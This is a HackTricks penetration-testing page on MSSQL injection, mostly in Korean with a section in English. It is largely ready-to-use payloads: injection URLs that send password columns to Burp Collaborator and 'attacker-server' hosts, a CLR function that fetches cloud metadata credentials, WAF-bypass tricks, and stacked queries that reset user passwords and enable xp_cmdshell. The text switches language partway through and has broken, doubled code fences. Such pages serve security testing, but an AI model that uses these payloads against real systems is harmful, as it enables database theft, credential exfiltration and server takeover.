MSSQL Injection

Support HackTricks

Active Directory enumeration

다음 MSSQL 함수를 사용하여 MSSQL 서버 내에서 SQL 인젝션을 통해 도메인 사용자를 나열할 수 있습니다:

  • SELECT DEFAULT_DOMAIN(): 현재 도메인 이름을 가져옵니다.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): 도메인 이름(DOMAIN 예시) 을 알고 있다면 이 함수는 사용자 Administrator의 SID를 16진수 형식으로 반환합니다. 이는 0x01050000000[...]0000f401과 비슷하게 보일 것이며, 마지막 4바이트big endian 형식으로 500이라는 숫자라는 점에 유의하십시오. 이는 사용자 관리자공통 ID입니다. 이 함수는 도메인의 ID를 알 수 있게 해줍니다(마지막 4바이트를 제외한 모든 바이트).

  • SUSER_SNAME(0x01050000000[...]0000e803) : 이 함수는 지정된 ID의 사용자 이름을 반환합니다(있는 경우), 이 경우 0000e803는 big endian == 1000입니다(일반적으로 이는 생성된 첫 번째 일반 사용자 ID의 ID입니다). 그러면 1000에서 2000까지 사용자 ID를 무작위로 추측하여 도메인 사용자의 모든 사용자 이름을 얻을 수 있다고 상상할 수 있습니다. 예를 들어 다음과 같은 함수를 사용하여:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

대체 오류 기반 벡터

오류 기반 SQL 인젝션은 일반적으로 +AND+1=@@version--와 같은 구조와 «OR» 연산자를 기반으로 한 변형을 닮고 있습니다. 이러한 표현식을 포함하는 쿼리는 일반적으로 WAF에 의해 차단됩니다. 우회 방법으로, %2b 문자를 사용하여 특정 함수 호출의 결과와 문자열을 연결하여 원하는 데이터에 대한 데이터 유형 변환 오류를 유발합니다.

이러한 함수의 몇 가지 예:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

함수 USER_NAME()의 사용 예:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

이 SSRF 트릭은 여기에서 가져왔습니다

fn_xe_file_target_read_file

서버에서 VIEW SERVER STATE 권한이 필요합니다.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

CONTROL SERVER 권한이 필요합니다.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

이것은 CONTROL SERVER 권한이 필요합니다.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

xp_dirtree와 같은 저장 프로시저는 Microsoft에 의해 공식적으로 문서화되지는 않았지만, MSSQL 내에서 네트워크 작업에 유용하기 때문에 온라인에서 다른 사람들에 의해 설명되었습니다. 이러한 프로시저는 다양한 예제게시물에서 보여준 바와 같이 Out of Band Data exfiltration에 자주 사용됩니다.

예를 들어, xp_dirtree 저장 프로시저는 네트워크 요청을 수행하는 데 사용되지만, TCP 포트 445로만 제한됩니다. 포트 번호는 수정할 수 없지만, 네트워크 공유에서 읽는 것을 허용합니다. 사용법은 아래 SQL 스크립트에서 보여집니다:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

이 방법은 기본 설정으로 실행되는 Windows Server 2016 Datacenter에서 Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)와 같은 모든 시스템 구성에서 작동하지 않을 수 있다는 점은 주목할 만합니다.

또한, 유사한 결과를 얻을 수 있는 대체 저장 프로시저인 master..xp_fileexistxp_subdirs가 있습니다. xp_fileexist에 대한 추가 세부정보는 이 TechNet 기사에서 확인할 수 있습니다.

xp_cmdshell

명백히 **xp_cmdshell**을 사용하여 SSRF를 유발하는 무언가를 실행할 수도 있습니다. 더 많은 정보는 페이지의 관련 섹션을 읽어보세요:

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL 사용자 정의 함수 - SQLHttp

CLR UDF(공통 언어 런타임 사용자 정의 함수)를 생성하는 것은 .NET 언어로 작성된 코드가 DLL로 컴파일되어 MSSQL 내에서 사용자 정의 함수를 실행하기 위해 로드되는 과정으로, dbo 접근이 필요합니다. 이는 일반적으로 데이터베이스 연결이 sa 또는 관리자 역할로 이루어질 때만 가능하다는 것을 의미합니다.

이진 파일을 CLR 어셈블리로 MSSQL에 로드할 수 있도록 이 Github 저장소에서 Visual Studio 프로젝트 및 설치 지침이 제공됩니다. 이를 통해 MSSQL 내에서 HTTP GET 요청을 실행할 수 있습니다.

이 기능의 핵심은 http.cs 파일에 캡슐화되어 있으며, WebClient 클래스를 사용하여 GET 요청을 실행하고 아래와 같이 콘텐츠를 검색합니다:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

CREATE ASSEMBLY SQL 명령을 실행하기 전에, 다음 SQL 스니펫을 실행하여 어셈블리의 SHA512 해시를 서버의 신뢰할 수 있는 어셈블리 목록에 추가하는 것이 좋습니다 ( select * from sys.trusted_assemblies;를 통해 확인 가능):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

어셈블리를 성공적으로 추가하고 함수를 생성한 후, 다음 SQL 코드를 사용하여 HTTP 요청을 수행할 수 있습니다:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

빠른 익스플로잇: 단일 쿼리로 전체 테이블 내용 가져오기

여기에서 트릭을 확인하세요.

단일 쿼리로 테이블의 전체 내용을 추출하는 간결한 방법은 FOR JSON 절을 사용하는 것입니다. 이 접근 방식은 "raw"와 같은 특정 모드가 필요한 FOR XML 절을 사용하는 것보다 더 간결합니다. FOR JSON 절은 간결성 때문에 선호됩니다.

현재 데이터베이스에서 스키마, 테이블 및 열을 가져오는 방법은 다음과 같습니다:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
```markdown
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

### Retrieving the Current Query

[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).

For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

```sql
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

```markdown
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--


A period instead of a whitespace between FROM and a column name:

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--


\N separator between SELECT and a throwaway column:

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]

Can be reduced to:

```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# 끝에 쓸모없는 exec() 추가하여 WAF가 유효한 쿼리가 아니라고 생각하게 만들기
admina'union select 1,'admin','testtest123'exec('select 1')--
## 이것은 다음과 같습니다:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# 이상하게 구성된 쿼리 사용하기
admin'exec('update[users]set[password]=''a''')--
## 이것은 다음과 같습니다:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# 또는 xp_cmdshell 활성화하기
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## 이것은 다음과 같습니다:
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

Support HackTricks

Last updated